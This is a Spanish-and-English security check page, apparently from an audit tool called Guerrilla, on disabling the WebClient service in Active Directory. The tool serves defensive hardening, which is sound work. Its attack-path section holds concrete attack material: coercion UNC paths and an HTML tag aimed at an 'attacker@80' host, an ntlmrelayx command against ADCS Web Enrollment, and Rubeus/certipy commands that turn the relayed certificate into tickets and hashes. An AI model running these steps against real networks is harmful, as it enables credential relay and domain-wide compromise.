ADNET-010: Estado predeterminado del servicio WebClient en las estaciones de trabajo
- Plataforma
- Active Directory
- Categoría
- AD Network & Relay Preconditions
- Severidad
- High
- Pilar de Zero Trust
- Networks (peso 3)
- Fixtures de referencia
- 3
- Cobertura de ramas
- Observada: los fixtures prueban los veredictos que ejercitan
- Procedencia
- baseline
Qué comprueba
El servicio WebClient (redireccionador WebDAV) permite a un atacante coaccionar la autenticación HTTP desde una estación de trabajo haciendo referencia a una ruta UNC que comienza con un nombre de host que contiene una '@' (por ejemplo, \\attacker@80\share). Este es el análogo de PetitPotam en la estación de trabajo y es el origen de retransmisión que se utiliza con más frecuencia para atacar la inscripción web de ADCS (ESC8). WebClient se inicia bajo demanda, pero debe establecerse en Deshabilitado en todo el dominio para las estaciones de trabajo no móviles.
Por qué importa
WebDAV-based authentication coercion is the cheapest unauthenticated lateral primitive remaining on a default-configured Windows domain. Once an attacker has any low-privilege foothold on the same broadcast domain or any path that can deliver a UNC path to a victim (a malicious shortcut, a Word document with a remote template reference, a search-ms URI, an Outlook calendar invite, a PostMessage event from a captive portal, an LLMNR or mDNS response), they can force the workstation to authenticate over HTTP to an attacker-controlled host. HTTP authentication is the relay carrier of choice because: - SMB signing and SMB extended protection do not apply. The SMB hardening Microsoft shipped through 2024 and 2025 (mandatory SMB signing on Windows 11 24H2, SMB over QUIC, NTLM blocking in SMB) does nothing to HTTP traffic. - LDAP signing and LDAP channel binding do not apply to outbound NTLM over HTTP. Relayed HTTP NTLM goes straight at the ADCS Web Enrollment endpoint (ESC8), ADFS, Exchange (drop-the-MIC, ProxyShell, EWS), SCCM, or any internal IIS app that still accepts NTLM. - The coercion target is a workstation, so every domain-joined laptop becomes a relayable identity. Relaying the machine account to ADCS Web Enrollment yields a client-authentication certificate for the computer, which is sufficient to PKINIT-authenticate as that computer, request a TGT, and then S4U2Self / RBCD to SYSTEM on the host. - WebClient starts on demand. Defenders who run net start | findstr WebClient on a baseline image see nothing running and assume the service is inert. In reality any Office document, any Explorer browse to a WebDAV-looking URL, or any deliberate attacker trigger will start the service for the rest of the user session. The blast radius is the entire workstation fleet plus whatever the relay target authorises. With ADCS Web Enrollment as the relay target, blast radius is forest-wide because the resulting machine certificate authenticates anywhere PKINIT is honoured.
Ruta de ataque
1. Initial access. The attacker has any unauthenticated network position that can reach a workstation, or any user-level foothold on a domain-joined host. No domain credentials are required to coerce a different workstation. 2. Coercion trigger. The attacker delivers a UNC path that references a host with an @ character, which forces the WebClient redirector to attempt WebDAV instead of SMB. Common vehicles: a .url or .lnk file dropped via SMB share, a search-ms: query in an email or chat, an HTML <img src="\\attacker@80\x.jpg"> tag in an Outlook signature, a malicious DFS referral, an LLMNR / NBT-NS / mDNS poisoned response from Responder, a PrintNightmare-style RPC call, or PetitPotam against the workstation. Tools: PetitPotam.py (modified for workstation targets), Coercer (with the WebClient module enabled), DFSCoerce, PrinterBug. 3. WebDAV negotiation. The victim WebClient service contacts attacker@80, the attacker returns a 401 WWW-Authenticate: NTLM, and the victim sends an NTLM type-1 followed by a type-3 message signed with the machine account credential. Crucially the NTLM blob is now travelling over HTTP, not SMB, so SMB signing is irrelevant. 4. Relay. The attacker runs ntlmrelayx.py -t http://ca01/certsrv/certfnsh.asp -smb2support --adcs --template DomainController (or Machine, or User) and forwards the HTTP NTLM blob to the ADCS Web Enrollment endpoint. The CA issues a client-authentication certificate bound to the relayed computer or user account. Reference: ESC8 from Certified Pre-Owned. 5. Authenticate with the certificate. Rubeus asktgt /user:WS01$ /certificate:relay.pfx /domain:corp.local /getcredentials or certipy auth -pfx relay.pfx yields a TGT for the relayed principal plus the NTLM hash via PAC. 6. Lateral / escalation. If the relayed principal was a workstation, S4U2Self plus RBCD against the workstation gives SYSTEM. If the relayed principal was a privileged user logged on to the coerced workstation (because the attacker coerced a workstation hosting a Tier-0 jump session), the TGT is directly usable. From here standard kerberoast, DCSync, or DACL abuse paths apply. 7. Persistence. Because the relayed certificate is valid for the CAs configured lifetime (often one year for machine certs), the attacker holds a long-lived PKINIT-able credential that survives password rotation.
Cómo lo evalúa Guerrilla
Guerrilla resolves the list of in-scope workstation computer objects via LDAP filter (&(objectCategory=computer)(operatingSystem=*Windows 10*)(operatingSystem=*Windows 11*)(!(servicePrincipalName=MSClusterVirtualServer))) plus the equivalent for Windows Server hosts not in the documented WebDAV-required group. For each computer the check performs three queries: - GPO-side: Get-GPO -All is enumerated, each GPO is exported with Get-GPOReport -ReportType XML, and the XML is parsed for SecuritySettings/SystemServices/Service[@Name="WebClient"] and its StartupMode value. The check resolves every linked OU via gpLink on each ADOrganizationalUnit object and computes which workstation OUs are covered. - Registry-side: a remote read of HKLM\SYSTEM\CurrentControlSet\Services\WebClient\Start is performed via Invoke-Command, falling back to PSRemoteRegistry / Get-CimInstance Win32_Service where WinRM is unavailable. The Start REG_DWORD plus the TriggerInfo subkey enumeration determine the effective state. - Service runtime: Get-CimInstance -ClassName Win32_Service -Filter "Name='WebClient'" reports StartMode and State. A State of Running on any non-exempt workstation produces a critical finding. The check correlates the three sources. The desired outcome is GPOEnforcingDisabled = True (a GPO sets the service to Disabled and the OU coverage is complete), EffectiveStartType = 4 (Disabled), TriggerCount = 0, and ServiceStatus = Stopped. Any deviation is reported with the specific gap (no GPO, GPO present but OU not linked, GPO present but value is Manual, registry overridden locally, service currently running).
Valor recomendado
La directiva Default Domain Policy deshabilita el servicio WebClient (tipo de inicio 4) para todas las estaciones de trabajo y servidores miembro que no requieren WebDAV
Remediación
Edite la directiva Default Domain Policy: Configuración del equipo > Directivas > Configuración de Windows > Configuración de seguridad > Servicios del sistema > WebClient > 'Definir esta configuración de directiva' = Deshabilitado. Si un subconjunto de hosts (por ejemplo, clientes de SharePoint) realmente necesita WebDAV, aplique una GPO opuesta solo a esas OU. Supervise la reactivación repentina.
Veredictos probados con fixtures
Cada veredicto de esta tabla está probado por un fixture de referencia en la suite de pruebas que valida el módulo. La tabla se deriva de la última ejecución en verde; no puede editarse a mano.
| Escenario | Veredicto esperado |
|---|---|
| clean | PASS |
| known-bad | FAIL |
| throttled | Not Assessed |
Mapeos a marcos de referencia
- NIST SP 800-53
- CM-7
- CIS AD Benchmark
- 6.4.2
- MITRE ATT&CK
- T1187, T1557.001